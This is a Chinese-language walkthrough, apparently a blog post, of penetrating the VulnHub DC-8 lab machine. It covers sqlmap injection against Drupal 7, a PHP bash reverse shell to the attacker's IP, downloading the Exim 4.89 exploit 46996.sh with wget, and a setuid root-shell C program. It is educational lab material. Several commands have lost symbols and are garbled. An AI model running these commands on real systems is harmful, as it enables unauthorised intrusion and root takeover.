从Web渗透到Root权限:DC-8靶机实战提权全解析

张开发
2026/6/2 14:27:20 15 分钟阅读
从Web渗透到Root权限:DC-8靶机实战提权全解析
1. 环境准备与信息收集在开始渗透测试之前我们需要搭建一个合适的实验环境。DC-8靶机是VulnHub上非常经典的渗透测试练习靶场基于Drupal 7 CMS构建。我建议使用VMware或VirtualBox来运行这个靶机同时准备一台Kali Linux作为攻击机。这里有个小技巧把两台虚拟机都设置为NAT网络模式这样它们会自动处于同一网段省去手动配置IP的麻烦。信息收集是渗透测试的第一步也是最重要的一步。我习惯先用netdiscover快速定位靶机IPnetdiscover -r 192.168.108.0/24确认靶机IP后比如192.168.108.141接下来用nmap进行详细扫描。这里我有个私人技巧加上-T4参数可以加快扫描速度但可能会漏掉一些信息所以初次扫描建议用默认速度nmap -sV -p- 192.168.108.141扫描结果显示开放了22端口SSH和80端口HTTP。看到Apache服务时我立即想到要检查Web服务器版本和可能的漏洞。Drupal 7是个老版本CMS存在不少已知漏洞这为我们后续的渗透提供了突破口。2. Web应用漏洞利用2.1 SQL注入漏洞挖掘访问靶机Web界面后我注意到URL中有?nid1这样的参数。这种传参方式在老旧CMS中经常存在SQL注入风险。我习惯先用手动测试确认漏洞存在再用sqlmap自动化利用sqlmap -u http://192.168.108.141/?nid1 --risk3 --level5在实战中我发现直接使用--dump-all可能会触发防护机制所以我更喜欢逐步获取数据。先确认当前数据库sqlmap -u http://192.168.108.141/?nid1 --current-db确认是d7db数据库后再获取users表的数据。这里有个细节Drupal的密码哈希是加盐的直接用john破解可能效率很低。我通常会先尝试常见弱口令sqlmap -u http://192.168.108.141/?nid1 --dump -T users -D d7db2.2 后台登录与代码执行通过SQL注入获取的admin和john用户凭据中john的密码turtle被成功破解。登录后台后我发现在Content部分可以编辑PHP代码。这里要注意不是所有Drupal版本都允许直接执行PHP需要找对输入点。我测试过多种PHP反弹shell的方式发现以下这种最稳定?php system(bash -c bash -i /dev/tcp/192.168.108.129/6868 01); ?在Kali上需要先开启监听nc -lvnp 6868获取shell后记得先升级为交互式shellpython -c import pty; pty.spawn(/bin/bash)3. 权限提升与Root获取3.1 SUID权限检查拿到www-data权限后我立即检查SUID文件find / -perm -4000 -type f 2/dev/null发现exim4具有SUID权限这是个重大突破口。检查版本exim4 --version确认是4.89版本后我搜索了相关漏洞。在实战中直接使用searchsploit找到的46996.sh脚本有时会失败所以我做了以下改进先在本地搭建HTTP服务python -m SimpleHTTPServer 9999在靶机下载并修改脚本wget http://192.168.108.129:9999/46996.sh -O /tmp/exploit.sh chmod x /tmp/exploit.sh执行时添加netcat选项更可靠/tmp/exploit.sh -m netcat3.2 利用Exim漏洞提权这个漏洞利用了exim在特定参数下的权限提升问题。执行脚本后我发现有时需要多次尝试才能成功。关键是要确保netcat监听端口不被占用./46996.sh -m netcat成功后会获得root权限的shell。这时候不要急着找flag先稳定shellpython -c import pty; pty.spawn(/bin/bash)最后在/root目录下找到flag文件。整个过程中最关键的其实是信息收集阶段准确识别出exim版本和对应的漏洞。4. 渗透测试经验总结在实际操作DC-8靶机时有几个容易踩坑的地方需要特别注意。首先是SQL注入阶段Drupal 7的密码哈希破解可能需要很长时间不如直接找代码执行点更高效。其次在反弹shell时我发现使用bash -i比nc -e更可靠特别是在较新版本的Linux系统上。关于权限提升除了exim4之外我还尝试了其他SUID提权方法。比如查找可写目录find / -writable -type d 2/dev/null有时候上传自定义的SUID二进制文件也是可行方案#include stdlib.h #include unistd.h int main() { setuid(0); system(/bin/bash); return 0; }编译后设置SUID权限gcc -o rootshell rootshell.c chmod s rootshell在DC-8靶机中exim4提权是最直接的路径。整个过程让我深刻体会到渗透测试中耐心和细致比炫技更重要。每个步骤都要确认结果不能想当然。比如在获取初始shell后我总会习惯性检查当前用户权限、网络配置和重要文件位置这些信息往往能为后续提权提供关键线索。

更多文章